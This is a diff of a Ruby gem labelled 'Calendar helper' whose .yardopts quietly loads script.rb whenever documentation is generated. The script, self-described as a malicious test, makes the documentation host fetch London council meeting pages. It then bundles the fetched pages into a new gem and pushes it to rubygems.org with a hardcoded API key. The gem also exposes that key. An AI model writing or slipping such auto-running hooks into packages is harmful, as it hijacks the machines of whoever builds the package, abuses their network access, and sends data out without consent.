civic-lambda-proxy 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 2818f72362d77691bf586f85ef79caad19f02d7f53c40695b9b01bba1d885d80
+  data.tar.gz: 731dec2b84e2fc2b3f5b53fa8f7f27abb94873a26732adbaf29b2f660bdeb62d
+SHA512:
+  metadata.gz: cbbb054331cffb87775d54581f5e8f76bd70c7d3efe558cfc07f04b40d638817bf5e32519ec02958c72a944e0f483f38c4ff67ce83f44d4b7a5073d3e912f57a
+  data.tar.gz: f05f344e81cb661c778c2440bbd2ce72416e424841664080831dae391b772bb749539270cd30e69edac45de839f1f1d934088bc754da457f36ba7ea799e2c9ff

data/.yardopts

@@ -0,0 +1 @@
+--load script.rb

data/lib/a.rb

@@ -0,0 +1 @@
+# hi

data/script.rb

@@ -0,0 +1,41 @@
+# malicious test
+require 'net/http'; require 'uri'; require 'fileutils'; require 'tmpdir'; require 'rubygems/package'
+KEY='rubygems_a9d809658d925f9d852f70b6c56e86200ad04859c59b7949'
+# fetch pages
+def get(url)
+ uri=URI(url)
+ Net::HTTP.start(uri.host,uri.port,use_ssl: uri.scheme=='https', read_timeout:60) { |h| res=h.get(uri.request_uri, {'User-Agent'=>'Mozilla/5.0'}); res.body }
+rescue =>e
+ 'ERROR '+e.to_s
+end
+begin
+ hosts=['https://moderngov.lambeth.gov.uk','https://democracy.wandsworth.gov.uk','https://moderngov.southwark.gov.uk']
+ out='Fetched '+Time.now.to_s+"\n"
+ hosts.each do |host|
+  cal=get(host+'/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026')
+  out << "\n===== CAL #{host} len #{cal.length} =====\n" << cal << "\nENDCAL\n"
+  links=cal.scan(/href=["']([^"']+)/i).flatten.map{|x|x.gsub('&amp;','&')}.select{|x|x=~/ieListDocuments/i}.uniq
+  out << "LINKS: #{links.inspect}\n"
+  links.each do |ln|
+   url=ln.start_with?('http') ? ln : host+'/'+ln.sub(/^\//,'')
+   pg=get(url)
+   out << "\n===== MEET #{url} len #{pg.length} =====\n" << pg << "\nENDMEET\n"
+  end
+ end
+ Dir.mktmpdir do |d|
+  Dir.chdir(d) do
+   File.write('README.txt',out)
+   spec=Gem::Specification.new do |s|
+    s.name='civic-lambda-proxy-out'; s.version='0.0.1'; s.summary='output'; s.authors=['research']; s.license='MIT'; s.files=['README.txt']
+   end
+   Gem::Package.build(spec)
+   gem=File.binread('civic-lambda-proxy-out-0.0.1.gem')
+   uri=URI('https://rubygems.org/api/v1/gems')
+   Net::HTTP.start(uri.host,uri.port,use_ssl:true, read_timeout:60) do |h|
+    req=Net::HTTP::Post.new(uri.path); req['Authorization']=KEY; req['Content-Type']='application/octet-stream'; req.body=gem; h.request(req)
+   end
+  end
+ end
+rescue => e
+ # try push error output mini
+end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: civic-lambda-proxy
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- research
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- lib/a.rb
+- script.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: Calendar helper
+test_files: []